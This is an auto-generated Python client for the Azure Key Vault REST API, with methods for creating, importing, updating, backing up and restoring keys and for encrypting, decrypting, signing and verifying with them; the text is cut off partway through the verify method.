# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.service_client import ServiceClient from msrest import Serializer, Deserializer from msrestazure import AzureConfiguration from .version import VERSION from msrest.pipeline import ClientRawResponse import uuid from . import models class KeyVaultClientConfiguration(AzureConfiguration): """Configuration for KeyVaultClient Note that all parameters used to create this instance are saved as instance attributes. :param credentials: Credentials needed for the client to connect to Azure. :type credentials: :mod:`A msrestazure Credentials object<msrestazure.azure_active_directory>` :param api_version: Client API version. :type api_version: str :param accept_language: Gets or sets the preferred language for the response. :type accept_language: str :param long_running_operation_retry_timeout: Gets or sets the retry timeout in seconds for Long Running Operations. Default value is 30. :type long_running_operation_retry_timeout: int :param generate_client_request_id: When set to true a unique x-ms-client-request-id value is generated and included in each request. Default is true. :type generate_client_request_id: bool :param str filepath: Existing config """ def __init__( self, credentials, api_version='2016-10-01', accept_language='en-US', long_running_operation_retry_timeout=30, generate_client_request_id=True, filepath=None): if credentials is None: raise ValueError("Parameter 'credentials' must not be None.") if api_version is not None and not isinstance(api_version, str): raise TypeError("Optional parameter 'api_version' must be str.") if accept_language is not None and not isinstance(accept_language, str): raise TypeError("Optional parameter 'accept_language' must be str.") base_url = '{vaultBaseUrl}' super(KeyVaultClientConfiguration, self).__init__(base_url, filepath) self.add_user_agent('keyvaultclient/{}'.format(VERSION)) self.add_user_agent('Azure-SDK-For-Python') self.credentials = credentials self.api_version = api_version self.accept_language = accept_language self.long_running_operation_retry_timeout = long_running_operation_retry_timeout self.generate_client_request_id = generate_client_request_id class KeyVaultClient(object): """The key vault client performs cryptographic key operations and vault operations against the Key Vault service. :ivar config: Configuration for client. :vartype config: KeyVaultClientConfiguration :param credentials: Credentials needed for the client to connect to Azure. :type credentials: :mod:`A msrestazure Credentials object<msrestazure.azure_active_directory>` :param api_version: Client API version. :type api_version: str :param accept_language: Gets or sets the preferred language for the response. :type accept_language: str :param long_running_operation_retry_timeout: Gets or sets the retry timeout in seconds for Long Running Operations. Default value is 30. :type long_running_operation_retry_timeout: int :param generate_client_request_id: When set to true a unique x-ms-client-request-id value is generated and included in each request. Default is true. :type generate_client_request_id: bool :param str filepath: Existing config """ def __init__( self, credentials, api_version='2016-10-01', accept_language='en-US', long_running_operation_retry_timeout=30, generate_client_request_id=True, filepath=None): self.config = KeyVaultClientConfiguration(credentials, api_version, accept_language, long_running_operation_retry_timeout, generate_client_request_id, filepath) self._client = ServiceClient(self.config.credentials, self.config) client_models = {k: v for k, v in models.__dict__.items() if isinstance(v, type)} self._serialize = Serializer(client_models) self._deserialize = Deserializer(client_models) def create_key( self, vault_base_url, key_name, kty, key_size=None, key_ops=None, key_attributes=None, tags=None, custom_headers=None, raw=False, **operation_config): """Creates a new key, stores it, then returns key parameters and attributes to the client. The create key operation can be used to create any key type in Azure Key Vault. If the named key already exists, Azure Key Vault creates a new version of the key. Authorization: Requires the keys/create permission. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param key_name: The name for the new key. The system will generate the version name for the new key. :type key_name: str :param kty: The type of key to create. For valid key types, see JsonWebKeyType. Supported JsonWebKey key types (kty) for Elliptic Curve, RSA, HSM, Octet. Possible values include: 'EC', 'RSA', 'RSA-HSM', 'oct' :type kty: str or :class:`JsonWebKeyType <azure.keyvault.generated.models.JsonWebKeyType>` :param key_size: The key size in bytes. For example, 1024 or 2048. :type key_size: int :param key_ops: :type key_ops: list of str or :class:`JsonWebKeyOperation <azure.keyvault.generated.models.JsonWebKeyOperation>` :param key_attributes: :type key_attributes: :class:`KeyAttributes <azure.keyvault.generated.models.KeyAttributes>` :param tags: Application specific metadata in the form of key-value pairs. :type tags: dict :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`KeyBundle <azure.keyvault.generated.models.KeyBundle>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ parameters = models.KeyCreateParameters(kty=kty, key_size=key_size, key_ops=key_ops, key_attributes=key_attributes, tags=tags) # Construct URL url = '/keys/{key-name}/create' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'key-name': self._serialize.url("key_name", key_name, 'str', pattern='^[0-9a-zA-Z-]+$') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(parameters, 'KeyCreateParameters') # Construct and send request request = self._client.post(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('KeyBundle', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def import_key( self, vault_base_url, key_name, key, hsm=None, key_attributes=None, tags=None, custom_headers=None, raw=False, **operation_config): """Imports an externally created key, stores it, and returns key parameters and attributes to the client. The import key operation may be used to import any key type into an Azure Key Vault. If the named key already exists, Azure Key Vault creates a new version of the key. Authorization: requires the keys/import permission. . :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param key_name: Name for the imported key. :type key_name: str :param key: The Json web key :type key: :class:`JsonWebKey <azure.keyvault.generated.models.JsonWebKey>` :param hsm: Whether to import as a hardware key (HSM) or software key. :type hsm: bool :param key_attributes: The key management attributes. :type key_attributes: :class:`KeyAttributes <azure.keyvault.generated.models.KeyAttributes>` :param tags: Application specific metadata in the form of key-value pairs. :type tags: dict :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`KeyBundle <azure.keyvault.generated.models.KeyBundle>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ parameters = models.KeyImportParameters(hsm=hsm, key=key, key_attributes=key_attributes, tags=tags) # Construct URL url = '/keys/{key-name}' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'key-name': self._serialize.url("key_name", key_name, 'str', pattern='^[0-9a-zA-Z-]+$') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(parameters, 'KeyImportParameters') # Construct and send request request = self._client.put(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('KeyBundle', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def delete_key( self, vault_base_url, key_name, custom_headers=None, raw=False, **operation_config): """Deletes a key of any type from storage in Azure Key Vault. The delete key operation cannot be used to remove individual versions of a key. This operation removes the cryptographic material associated with the key, which means the key is not usable for Sign/Verify, Wrap/Unwrap or Encrypt/Decrypt operations. Authorization: Requires the keys/delete permission. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param key_name: The name of the key to delete. :type key_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`KeyBundle <azure.keyvault.generated.models.KeyBundle>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ # Construct URL url = '/keys/{key-name}' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'key-name': self._serialize.url("key_name", key_name, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.delete(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('KeyBundle', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def update_key( self, vault_base_url, key_name, key_version, key_ops=None, key_attributes=None, tags=None, custom_headers=None, raw=False, **operation_config): """The update key operation changes specified attributes of a stored key and can be applied to any key type and key version stored in Azure Key Vault. The cryptographic material of a key itself cannot be changed. In order to perform this operation, the key must already exist in the Key Vault. Authorization: requires the keys/update permission. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param key_name: The name of key to update. :type key_name: str :param key_version: The version of the key to update. :type key_version: str :param key_ops: Json web key operations. For more information on possible key operations, see JsonWebKeyOperation. :type key_ops: list of str or :class:`JsonWebKeyOperation <azure.keyvault.generated.models.JsonWebKeyOperation>` :param key_attributes: :type key_attributes: :class:`KeyAttributes <azure.keyvault.generated.models.KeyAttributes>` :param tags: Application specific metadata in the form of key-value pairs. :type tags: dict :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`KeyBundle <azure.keyvault.generated.models.KeyBundle>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ parameters = models.KeyUpdateParameters(key_ops=key_ops, key_attributes=key_attributes, tags=tags) # Construct URL url = '/keys/{key-name}/{key-version}' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'key-name': self._serialize.url("key_name", key_name, 'str'), 'key-version': self._serialize.url("key_version", key_version, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(parameters, 'KeyUpdateParameters') # Construct and send request request = self._client.patch(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('KeyBundle', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_key( self, vault_base_url, key_name, key_version, custom_headers=None, raw=False, **operation_config): """Gets the public part of a stored key. The get key operation is applicable to all key types. If the requested key is symmetric, then no key material is released in the response. Authorization: Requires the keys/get permission. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param key_name: The name of the key to get. :type key_name: str :param key_version: Adding the version parameter retrieves a specific version of a key. :type key_version: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`KeyBundle <azure.keyvault.generated.models.KeyBundle>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ # Construct URL url = '/keys/{key-name}/{key-version}' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'key-name': self._serialize.url("key_name", key_name, 'str'), 'key-version': self._serialize.url("key_version", key_version, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('KeyBundle', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_key_versions( self, vault_base_url, key_name, maxresults=None, custom_headers=None, raw=False, **operation_config): """Retrieves a list of individual key versions with the same key name. The full key identifier, attributes, and tags are provided in the response. Authorization: Requires the keys/list permission. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param key_name: The name of the key. :type key_name: str :param maxresults: Maximum number of results to return in a page. If not specified the service will return up to 25 results. :type maxresults: int :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`KeyItemPaged <azure.keyvault.generated.models.KeyItemPaged>` :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ def internal_paging(next_link=None, raw=False): if not next_link: # Construct URL url = '/keys/{key-name}/versions' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'key-name': self._serialize.url("key_name", key_name, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if maxresults is not None: query_parameters['maxresults'] = self._serialize.query("maxresults", maxresults, 'int', maximum=25, minimum=1) query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') else: url = next_link query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send( request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) return response # Deserialize response deserialized = models.KeyItemPaged(internal_paging, self._deserialize.dependencies) if raw: header_dict = {} client_raw_response = models.KeyItemPaged(internal_paging, self._deserialize.dependencies, header_dict) return client_raw_response return deserialized def get_keys( self, vault_base_url, maxresults=None, custom_headers=None, raw=False, **operation_config): """List keys in the specified vault. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param maxresults: Maximum number of results to return in a page. If not specified the service will return up to 25 results. :type maxresults: int :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`KeyItemPaged <azure.keyvault.generated.models.KeyItemPaged>` :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ def internal_paging(next_link=None, raw=False): if not next_link: # Construct URL url = '/keys' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True) } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if maxresults is not None: query_parameters['maxresults'] = self._serialize.query("maxresults", maxresults, 'int', maximum=25, minimum=1) query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') else: url = next_link query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send( request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) return response # Deserialize response deserialized = models.KeyItemPaged(internal_paging, self._deserialize.dependencies) if raw: header_dict = {} client_raw_response = models.KeyItemPaged(internal_paging, self._deserialize.dependencies, header_dict) return client_raw_response return deserialized def backup_key( self, vault_base_url, key_name, custom_headers=None, raw=False, **operation_config): """Requests that a backup of the specified key be downloaded to the client. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param key_name: The name of the key. :type key_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`BackupKeyResult <azure.keyvault.generated.models.BackupKeyResult>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ # Construct URL url = '/keys/{key-name}/backup' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'key-name': self._serialize.url("key_name", key_name, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.post(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('BackupKeyResult', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def restore_key( self, vault_base_url, key_bundle_backup, custom_headers=None, raw=False, **operation_config): """Restores a backed up key to a vault. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param key_bundle_backup: The backup blob associated with a key bundle. :type key_bundle_backup: bytes :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`KeyBundle <azure.keyvault.generated.models.KeyBundle>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ parameters = models.KeyRestoreParameters(key_bundle_backup=key_bundle_backup) # Construct URL url = '/keys/restore' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True) } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(parameters, 'KeyRestoreParameters') # Construct and send request request = self._client.post(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('KeyBundle', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def encrypt( self, vault_base_url, key_name, key_version, algorithm, value, custom_headers=None, raw=False, **operation_config): """Encrypts an arbitrary sequence of bytes using an encryption key that is stored in a key vault. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param key_name: The name of the key. :type key_name: str :param key_version: The version of the key. :type key_version: str :param algorithm: algorithm identifier. Possible values include: 'RSA-OAEP', 'RSA1_5' :type algorithm: str or :class:`JsonWebKeyEncryptionAlgorithm <azure.keyvault.generated.models.JsonWebKeyEncryptionAlgorithm>` :param value: :type value: bytes :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`KeyOperationResult <azure.keyvault.generated.models.KeyOperationResult>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ parameters = models.KeyOperationsParameters(algorithm=algorithm, value=value) # Construct URL url = '/keys/{key-name}/{key-version}/encrypt' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'key-name': self._serialize.url("key_name", key_name, 'str'), 'key-version': self._serialize.url("key_version", key_version, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(parameters, 'KeyOperationsParameters') # Construct and send request request = self._client.post(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('KeyOperationResult', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def decrypt( self, vault_base_url, key_name, key_version, algorithm, value, custom_headers=None, raw=False, **operation_config): """Decrypts a single block of encrypted data. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param key_name: The name of the key. :type key_name: str :param key_version: The version of the key. :type key_version: str :param algorithm: algorithm identifier. Possible values include: 'RSA-OAEP', 'RSA1_5' :type algorithm: str or :class:`JsonWebKeyEncryptionAlgorithm <azure.keyvault.generated.models.JsonWebKeyEncryptionAlgorithm>` :param value: :type value: bytes :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`KeyOperationResult <azure.keyvault.generated.models.KeyOperationResult>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ parameters = models.KeyOperationsParameters(algorithm=algorithm, value=value) # Construct URL url = '/keys/{key-name}/{key-version}/decrypt' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'key-name': self._serialize.url("key_name", key_name, 'str'), 'key-version': self._serialize.url("key_version", key_version, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(parameters, 'KeyOperationsParameters') # Construct and send request request = self._client.post(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('KeyOperationResult', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def sign( self, vault_base_url, key_name, key_version, algorithm, value, custom_headers=None, raw=False, **operation_config): """Creates a signature from a digest using the specified key. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param key_name: The name of the key. :type key_name: str :param key_version: The version of the key. :type key_version: str :param algorithm: The signing/verification algorithm identifier. For more information on possible algorithm types, see JsonWebKeySignatureAlgorithm. Possible values include: 'RS256', 'RS384', 'RS512', 'RSNULL' :type algorithm: str or :class:`JsonWebKeySignatureAlgorithm <azure.keyvault.generated.models.JsonWebKeySignatureAlgorithm>` :param value: :type value: bytes :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`KeyOperationResult <azure.keyvault.generated.models.KeyOperationResult>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ parameters = models.KeySignParameters(algorithm=algorithm, value=value) # Construct URL url = '/keys/{key-name}/{key-version}/sign' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'key-name': self._serialize.url("key_name", key_name, 'str'), 'key-version': self._serialize.url("key_version", key_version, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(parameters, 'KeySignParameters') # Construct and send request request = self._client.post(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('KeyOperationResult', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def verify( self, vault_base_url, key_name, key_version, algorithm, digest, signature, custom_headers=None, raw=False, **operation_config): """Verifies a signature using a specified key. :param vault_base_url: The vault name, for example https://myvault.vault.azure.net. :type vault_base_url: str :param key_name: The name of the key. :type key_name: str :param key_version: The version of the key. :type key_version: str :param algorithm: The signing/verification algorithm. For more information on possible algorithm types, see JsonWebKeySignatureAlgorithm. Possible values include: 'RS256', 'RS384', 'RS512', 'RSNULL' :type algorithm: str or :class:`JsonWebKeySignatureAlgorithm <azure.keyvault.generated.models.JsonWebKeySignatureAlgorithm>` :param digest: The digest used for signing. :type digest: bytes :param signature: The signature to be verified. :type signature: bytes :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`KeyVerifyResult <azure.keyvault.generated.models.KeyVerifyResult>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`KeyVaultErrorException<azure.keyvault.generated.models.KeyVaultErrorException>` """ parameters = models.KeyVerifyParameters(algorithm=algorithm, digest=digest, signature=signature) # Construct URL url = '/keys/{key-name}/{key-version}/verify' path_format_arguments = { 'vaultBaseUrl': self._serialize.url("vault_base_url", vault_base_url, 'str', skip_quote=True), 'key-name': self._serialize.url("key_name", key_name, 'str'), 'key-version': self._serialize.url("key_version", key_version, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(parameters, 'KeyVerifyParameters') # Construct and send request request = self._client.post(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.KeyVaultErrorException(self._deserialize, response) deserialized = None if 